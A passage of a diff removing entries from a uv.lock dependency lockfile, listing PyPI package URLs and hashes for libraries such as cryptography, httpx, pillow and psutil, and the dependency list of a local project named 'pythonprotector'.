"https://files.pythonhosted.org/packages/08/1d/f2b18a7b1340b05cebda250bc78cd68efac2d9994849739cac8cef556547/command_runner-1.7.4.tar.gz", hash = "sha256:2a711abcfc64608ec519b21aee539d19919184d0a9567454cab03f0e57ffdb64", size = 41432 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/3c/c5/81b39223db25c53cd023921ec46959bd97742d31a37397179b335fd0718a/command_runner-1.7.4-py3-none-any.whl", hash = "sha256:436f5a17813a57473b2123e9f14995c0972fc636665114de3db5941b7e953c38", size = 26195 }, -] - -[[package]] -name = "cryptography" -version = "45.0.3" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/13/1f/9fa001e74a1993a9cadd2333bb889e50c66327b8594ac538ab8a04f915b7/cryptography-45.0.3.tar.gz", hash = "sha256:ec21313dd335c51d7877baf2972569f40a4291b76a0ce51391523ae358d05899", size = 744738 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/82/b2/2345dc595998caa6f68adf84e8f8b50d18e9fc4638d32b22ea8daedd4b7a/cryptography-45.0.3-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:7573d9eebaeceeb55285205dbbb8753ac1e962af3d9640791d12b36864065e71", size = 7056239 }, - { url = "https://files.pythonhosted.org/packages/71/3d/ac361649a0bfffc105e2298b720d8b862330a767dab27c06adc2ddbef96a/cryptography-45.0.3-cp311-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d377dde61c5d67eb4311eace661c3efda46c62113ff56bf05e2d679e02aebb5b", size = 4205541 }, - { url = "https://files.pythonhosted.org/packages/70/3e/c02a043750494d5c445f769e9c9f67e550d65060e0bfce52d91c1362693d/cryptography-45.0.3-cp311-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fae1e637f527750811588e4582988932c222f8251f7b7ea93739acb624e1487f", size = 4433275 }, - { url = "https://files.pythonhosted.org/packages/40/7a/9af0bfd48784e80eef3eb6fd6fde96fe706b4fc156751ce1b2b965dada70/cryptography-45.0.3-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ca932e11218bcc9ef812aa497cdf669484870ecbcf2d99b765d6c27a86000942", size = 4209173 }, - { url = "https://files.pythonhosted.org/packages/31/5f/d6f8753c8708912df52e67969e80ef70b8e8897306cd9eb8b98201f8c184/cryptography-45.0.3-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:af3f92b1dc25621f5fad065288a44ac790c5798e986a34d393ab27d2b27fcff9", size = 3898150 }, - { url = "https://files.pythonhosted.org/packages/8b/50/f256ab79c671fb066e47336706dc398c3b1e125f952e07d54ce82cf4011a/cryptography-45.0.3-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2f8f8f0b73b885ddd7f3d8c2b2234a7d3ba49002b0223f58cfde1bedd9563c56", size = 4466473 }, - { url = "https://files.pythonhosted.org/packages/62/e7/312428336bb2df0848d0768ab5a062e11a32d18139447a76dfc19ada8eed/cryptography-45.0.3-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:9cc80ce69032ffa528b5e16d217fa4d8d4bb7d6ba8659c1b4d74a1b0f4235fca", size = 4211890 }, - { url = "https://files.pythonhosted.org/packages/e7/53/8a130e22c1e432b3c14896ec5eb7ac01fb53c6737e1d705df7e0efb647c6/cryptography-45.0.3-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c824c9281cb628015bfc3c59335163d4ca0540d49de4582d6c2637312907e4b1", size = 4466300 }, - { url = "https://files.pythonhosted.org/packages/ba/75/6bb6579688ef805fd16a053005fce93944cdade465fc92ef32bbc5c40681/cryptography-45.0.3-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5833bb4355cb377ebd880457663a972cd044e7f49585aee39245c0d592904578", size = 4332483 }, - { url = "https://files.pythonhosted.org/packages/2f/11/2538f4e1ce05c6c4f81f43c1ef2bd6de7ae5e24ee284460ff6c77e42ca77/cryptography-45.0.3-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bb5bf55dcb69f7067d80354d0a348368da907345a2c448b0babc4215ccd3497", size = 4573714 }, - { url = "https://files.pythonhosted.org/packages/f5/bb/e86e9cf07f73a98d84a4084e8fd420b0e82330a901d9cac8149f994c3417/cryptography-45.0.3-cp311-abi3-win32.whl", hash = "sha256:3ad69eeb92a9de9421e1f6685e85a10fbcfb75c833b42cc9bc2ba9fb00da4710", size = 2934752 }, - { url = "https://files.pythonhosted.org/packages/c7/75/063bc9ddc3d1c73e959054f1fc091b79572e716ef74d6caaa56e945b4af9/cryptography-45.0.3-cp311-abi3-win_amd64.whl", hash = "sha256:97787952246a77d77934d41b62fb1b6f3581d83f71b44796a4158d93b8f5c490", size = 3412465 }, - { url = "https://files.pythonhosted.org/packages/71/9b/04ead6015229a9396890d7654ee35ef630860fb42dc9ff9ec27f72157952/cryptography-45.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:c92519d242703b675ccefd0f0562eb45e74d438e001f8ab52d628e885751fb06", size = 7031892 }, - { url = "https://files.pythonhosted.org/packages/46/c7/c7d05d0e133a09fc677b8a87953815c522697bdf025e5cac13ba419e7240/cryptography-45.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5edcb90da1843df85292ef3a313513766a78fbbb83f584a5a58fb001a5a9d57", size = 4196181 }, - { url = "https://files.pythonhosted.org/packages/08/7a/6ad3aa796b18a683657cef930a986fac0045417e2dc428fd336cfc45ba52/cryptography-45.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38deed72285c7ed699864f964a3f4cf11ab3fb38e8d39cfcd96710cd2b5bb716", size = 4423370 }, - { url = "https://files.pythonhosted.org/packages/4f/58/ec1461bfcb393525f597ac6a10a63938d18775b7803324072974b41a926b/cryptography-45.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5555365a50efe1f486eed6ac7062c33b97ccef409f5970a0b6f205a7cfab59c8", size = 4197839 }, - { url = "https://files.pythonhosted.org/packages/d4/3d/5185b117c32ad4f40846f579369a80e710d6146c2baa8ce09d01612750db/cryptography-45.0.3-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:9e4253ed8f5948a3589b3caee7ad9a5bf218ffd16869c516535325fece163dcc", size = 3886324 }, - { url = "https://files.pythonhosted.org/packages/67/85/caba91a57d291a2ad46e74016d1f83ac294f08128b26e2a81e9b4f2d2555/cryptography-45.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:cfd84777b4b6684955ce86156cfb5e08d75e80dc2585e10d69e47f014f0a5342", size = 4450447 }, - { url = "https://files.pythonhosted.org/packages/ae/d1/164e3c9d559133a38279215c712b8ba38e77735d3412f37711b9f8f6f7e0/cryptography-45.0.3-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:a2b56de3417fd5f48773ad8e91abaa700b678dc7fe1e0c757e1ae340779acf7b", size = 4200576 }, - { url = "https://files.pythonhosted.org/packages/71/7a/e002d5ce624ed46dfc32abe1deff32190f3ac47ede911789ee936f5a4255/cryptography-45.0.3-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:57a6500d459e8035e813bd8b51b671977fb149a8c95ed814989da682314d0782", size = 4450308 }, - { url = "https://files.pythonhosted.org/packages/87/ad/3fbff9c28cf09b0a71e98af57d74f3662dea4a174b12acc493de00ea3f28/cryptography-45.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f22af3c78abfbc7cbcdf2c55d23c3e022e1a462ee2481011d518c7fb9c9f3d65", size = 4325125 }, - { url = "https://files.pythonhosted.org/packages/f5/b4/51417d0cc01802304c1984d76e9592f15e4801abd44ef7ba657060520bf0/cryptography-45.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:232954730c362638544758a8160c4ee1b832dc011d2c41a306ad8f7cccc5bb0b", size = 4560038 }, - { url = "https://files.pythonhosted.org/packages/80/38/d572f6482d45789a7202fb87d052deb7a7b136bf17473ebff33536727a2c/cryptography-45.0.3-cp37-abi3-win32.whl", hash = "sha256:cb6ab89421bc90e0422aca911c69044c2912fc3debb19bb3c1bfe28ee3dff6ab", size = 2924070 }, - { url = "https://files.pythonhosted.org/packages/91/5a/61f39c0ff4443651cc64e626fa97ad3099249152039952be8f344d6b0c86/cryptography-45.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:d54ae41e6bd70ea23707843021c778f151ca258081586f0cfa31d936ae43d1b2", size = 3395005 }, -] - -[[package]] -name = "discord-webhook" -version = "1.3.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "requests" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/e8/e6/660b07356a15d98787d893f879efc404eb15176312d457f2f6f7090acd32/discord_webhook-1.3.1.tar.gz", hash = "sha256:ee3e0f3ea4f3dc8dc42be91f75b894a01624c6c13fea28e23ebcf9a6c9a304f7", size = 11715 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/92/e2/eed83ebc8d88da0930143a6dd1d0ba0b6deba1fd91b956f21c23a2608510/discord_webhook-1.3.1-py3-none-any.whl", hash = "sha256:ede07028316de76d24eb811836e2b818b2017510da786777adcb0d5970e7af79", size = 13206 }, -] - -[[package]] -name = "h11" -version = "0.14.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f5/38/3af3d3633a34a3316095b39c8e8fb4853a28a536e55d347bd8d8e9a14b03/h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d", size = 100418 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/95/04/ff642e65ad6b90db43e668d70ffb6736436c7ce41fcc549f4e9472234127/h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761", size = 58259 }, -] - -[[package]] -name = "httpcore" -version = "1.0.7" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "certifi" }, - { name = "h11" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/6a/41/d7d0a89eb493922c37d343b607bc1b5da7f5be7e383740b4753ad8943e90/httpcore-1.0.7.tar.gz", hash = "sha256:8551cb62a169ec7162ac7be8d4817d561f60e08eaa485234898414bb5a8a0b4c", size = 85196 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/87/f5/72347bc88306acb359581ac4d52f23c0ef445b57157adedb9aee0cd689d2/httpcore-1.0.7-py3-none-any.whl", hash = "sha256:a3fff8f43dc260d5bd363d9f9cf1830fa3a458b332856f34282de498ed420edd", size = 78551 }, -] - -[[package]] -name = "httpx" -version = "0.28.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "anyio" }, - { name = "certifi" }, - { name = "httpcore" }, - { name = "idna" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517 }, -] - -[[package]] -name = "humanize" -version = "4.12.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/22/d1/bbc4d251187a43f69844f7fd8941426549bbe4723e8ff0a7441796b0789f/humanize-4.12.3.tar.gz", hash = "sha256:8430be3a615106fdfceb0b2c1b41c4c98c6b0fc5cc59663a5539b111dd325fb0", size = 80514 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a0/1e/62a2ec3104394a2975a2629eec89276ede9dbe717092f6966fcf963e1bf0/humanize-4.12.3-py3-none-any.whl", hash = "sha256:2cbf6370af06568fa6d2da77c86edb7886f3160ecd19ee1ffef07979efc597f6", size = 128487 }, -] - -[[package]] -name = "idna" -version = "3.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442 }, -] - -[[package]] -name = "loguru" -version = "0.7.3" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "colorama", marker = "sys_platform == 'win32'" }, - { name = "win32-setctime", marker = "sys_platform == 'win32'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/3a/05/a1dae3dffd1116099471c643b8924f5aa6524411dc6c63fdae648c4f1aca/loguru-0.7.3.tar.gz", hash = "sha256:19480589e77d47b8d85b2c827ad95d49bf31b0dcde16593892eb51dd18706eb6", size = 63559 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0c/29/0348de65b8cc732daa3e33e67806420b2ae89bdce2b04af740289c5c6c8c/loguru-0.7.3-py3-none-any.whl", hash = "sha256:31a33c10c8e1e10422bfd431aeb5d351c7cf7fa671e3c4df004162264b28220c", size = 61595 }, -] - -[[package]] -name = "mypy-extensions" -version = "1.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/98/a4/1ab47638b92648243faf97a5aeb6ea83059cc3624972ab6b8d2316078d3f/mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782", size = 4433 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/e2/5d3f6ada4297caebe1a2add3b126fe800c96f56dbe5d1988a2cbe0b267aa/mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d", size = 4695 }, -] - -[[package]] -name = "observable" -version = "1.0.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/24/57/013c2610cf93f9ae87e522be17d679bcba0e7cee2cd8da4dc8efddef1138/observable-1.0.3.tar.gz", hash = "sha256:97fe8e9d8c2a6185cee3661fa5fba9ce38c7ba388894132940cd6a81633626d9", size = 5793 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/45/7c/b4b63f447378e8a0ebcd338d90f9389f57fb23253127425beacf0129edcb/observable-1.0.3-py2.py3-none-any.whl", hash = "sha256:955a721a225fe3a1df28b58c0d7add38e08cd49afd88d14669b2884410f47d10", size = 8056 }, -] - -[[package]] -name = "packaging" -version = "24.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d0/63/68dbb6eb2de9cb10ee4c9c14a0148804425e13c4fb20d61cce69f53106da/packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f", size = 163950 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/88/ef/eb23f262cca3c0c4eb7ab1933c3b1f03d021f2c48f54763065b6f0e321be/packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759", size = 65451 }, -] - -[[package]] -name = "pathspec" -version = "0.12.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ca/bc/f35b8446f4531a7cb215605d100cd88b7ac6f44ab3fc94870c120ab3adbf/pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712", size = 51043 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/cc/20/ff623b09d963f88bfde16306a54e12ee5ea43e9b597108672ff3a408aad6/pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", size = 31191 }, -] - -[[package]] -name = "pillow" -version = "11.1.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f3/af/c097e544e7bd278333db77933e535098c259609c4eb3b85381109602fb5b/pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20", size = 46742715 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b3/31/9ca79cafdce364fd5c980cd3416c20ce1bebd235b470d262f9d24d810184/pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc", size = 3226640 }, - { url = "https://files.pythonhosted.org/packages/ac/0f/ff07ad45a1f172a497aa393b13a9d81a32e1477ef0e869d030e3c1532521/pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0", size = 3101437 }, - { url = "https://files.pythonhosted.org/packages/08/2f/9906fca87a68d29ec4530be1f893149e0cb64a86d1f9f70a7cfcdfe8ae44/pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1", size = 4326605 }, - { url = "https://files.pythonhosted.org/packages/b0/0f/f3547ee15b145bc5c8b336401b2d4c9d9da67da9dcb572d7c0d4103d2c69/pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec", size = 4411173 }, - { url = "https://files.pythonhosted.org/packages/b1/df/bf8176aa5db515c5de584c5e00df9bab0713548fd780c82a86cba2c2fedb/pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5", size = 4369145 }, - { url = "https://files.pythonhosted.org/packages/de/7c/7433122d1cfadc740f577cb55526fdc39129a648ac65ce64db2eb7209277/pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114", size = 4496340 }, - { url = "https://files.pythonhosted.org/packages/25/46/dd94b93ca6bd555588835f2504bd90c00d5438fe131cf01cfa0c5131a19d/pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352", size = 4296906 }, - { url = "https://files.pythonhosted.org/packages/a8/28/2f9d32014dfc7753e586db9add35b8a41b7a3b46540e965cb6d6bc607bd2/pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3", size = 4431759 }, - { url = "https://files.pythonhosted.org/packages/33/48/19c2cbe7403870fbe8b7737d19eb013f46299cdfe4501573367f6396c775/pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9", size = 2291657 }, - { url = "https://files.pythonhosted.org/packages/3b/ad/285c556747d34c399f332ba7c1a595ba245796ef3e22eae190f5364bb62b/pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c", size = 2626304 }, - { url = "https://files.pythonhosted.org/packages/e5/7b/ef35a71163bf36db06e9c8729608f78dedf032fc8313d19bd4be5c2588f3/pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65", size = 2375117 }, - { url = "https://files.pythonhosted.org/packages/79/30/77f54228401e84d6791354888549b45824ab0ffde659bafa67956303a09f/pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861", size = 3230060 }, - { url = "https://files.pythonhosted.org/packages/ce/b1/56723b74b07dd64c1010fee011951ea9c35a43d8020acd03111f14298225/pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081", size = 3106192 }, - { url = "https://files.pythonhosted.org/packages/e1/cd/7bf7180e08f80a4dcc6b4c3a0aa9e0b0ae57168562726a05dc8aa8fa66b0/pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c", size = 4446805 }, - { url = "https://files.pythonhosted.org/packages/97/42/87c856ea30c8ed97e8efbe672b58c8304dee0573f8c7cab62ae9e31db6ae/pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547", size = 4530623 }, - { url = "https://files.pythonhosted.org/packages/ff/41/026879e90c84a88e33fb00cc6bd915ac2743c67e87a18f80270dfe3c2041/pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab", size = 4465191 }, - { url = "https://files.pythonhosted.org/packages/e5/fb/a7960e838bc5df57a2ce23183bfd2290d97c33028b96bde332a9057834d3/pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9", size = 2295494 }, - { url = "https://files.pythonhosted.org/packages/d7/6c/6ec83ee2f6f0fda8d4cf89045c6be4b0373ebfc363ba8538f8c999f63fcd/pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe", size = 2631595 }, - { url = "https://files.pythonhosted.org/packages/cf/6c/41c21c6c8af92b9fea313aa47c75de49e2f9a467964ee33eb0135d47eb64/pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756", size = 2377651 }, -] - -[[package]] -name = "platformdirs" -version = "4.3.6" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/13/fc/128cc9cb8f03208bdbf93d3aa862e16d376844a14f9a0ce5cf4507372de4/platformdirs-4.3.6.tar.gz", hash = "sha256:357fb2acbc885b0419afd3ce3ed34564c13c9b95c89360cd9563f73aa5e2b907", size = 21302 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/3c/a6/bc1012356d8ece4d66dd75c4b9fc6c1f6650ddd5991e421177d9f8f671be/platformdirs-4.3.6-py3-none-any.whl", hash = "sha256:73e575e1408ab8103900836b97580d5307456908a03e92031bab39e4554cc3fb", size = 18439 }, -] - -[[package]] -name = "psutil" -version = "7.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2a/80/336820c1ad9286a4ded7e845b2eccfcb27851ab8ac6abece774a6ff4d3de/psutil-7.0.0.tar.gz", hash = "sha256:7be9c3eba38beccb6495ea33afd982a44074b78f28c434a1f51cc07fd315c456", size = 497003 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ed/e6/2d26234410f8b8abdbf891c9da62bee396583f713fb9f3325a4760875d22/psutil-7.0.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:101d71dc322e3cffd7cea0650b09b3d08b8e7c4109dd6809fe452dfd00e58b25", size = 238051 }, - { url = "https://files.pythonhosted.org/packages/04/8b/30f930733afe425e3cbfc0e1468a30a18942350c1a8816acfade80c005c4/psutil-7.0.0-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:39db632f6bb862eeccf56660871433e111b6ea58f2caea825571951d4b6aa3da", size = 239535 }, - { url = "https://files.pythonhosted.org/packages/2a/ed/d362e84620dd22876b55389248e522338ed1bf134a5edd3b8231d7207f6d/psutil-7.0.0-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fcee592b4c6f146991ca55919ea3d1f8926497a713ed7faaf8225e174581e91", size = 275004 }, - { url = "https://files.pythonhosted.org/packages/bf/b9/b0eb3f3cbcb734d930fdf839431606844a825b23eaf9a6ab371edac8162c/psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b1388a4f6875d7e2aff5c4ca1cc16c545ed41dd8bb596cefea80111db353a34", size = 277986 }, - { url = "https://files.pythonhosted.org/packages/eb/a2/709e0fe2f093556c17fbafda93ac032257242cabcc7ff3369e2cb76a97aa/psutil-7.0.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f098451abc2828f7dc6b58d44b532b22f2088f4999a937557b603ce72b1993", size = 279544 }, - { url = "https://files.pythonhosted.org/packages/50/e6/eecf58810b9d12e6427369784efe814a1eec0f492084ce8eb8f4d89d6d61/psutil-7.0.0-cp37-abi3-win32.whl", hash = "sha256:ba3fcef7523064a6c9da440fc4d6bd07da93ac726b5733c29027d7dc95b39d99", size = 241053 }, - { url = "https://files.pythonhosted.org/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:4cf3d4eb1aa9b348dec30105c55cd9b7d4629285735a102beb4441e38db90553", size = 244885 }, -] - -[[package]] -name = "py-cpuinfo" -version = "9.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335 }, -] - -[[package]] -name = "pycodestyle" -version = "2.12.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/43/aa/210b2c9aedd8c1cbeea31a50e42050ad56187754b34eb214c46709445801/pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521", size = 39232 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/3a/d8/a211b3f85e99a0daa2ddec96c949cac6824bd305b040571b82a03dd62636/pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3", size = 31284 }, -] - -[[package]] -name = "pycparser" -version = "2.22" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552 }, -] - -[[package]] -name = "pyflakes" -version = "3.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/57/f9/669d8c9c86613c9d568757c7f5824bd3197d7b1c6c27553bc5618a27cce2/pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f", size = 63788 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d4/d7/f1b7db88d8e4417c5d47adad627a93547f44bdc9028372dbd2313f34a855/pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a", size = 62725 }, -] - -[[package]] -name = "pythonprotector" -version = "2.0" -source = { editable = "." } -dependencies = [ - { name = "command-runner" }, - { name = "cryptography" }, - { name = "discord-webhook" }, - { name = "httpx" }, - { name = "humanize" }, - { name = "loguru" }, - { name = "observable" }, - { name = "pillow" }, - { name = "psutil" }, - { name = "py-cpuinfo" }, - { name = "pywin32" }, - { name = "requests" }, - { name = "setuptools" }, - { name = "wmi" }, -] - -[package.dev-dependencies] -dev = [ - { name = "autoflake" }, - { name = "autopep8" }, - { 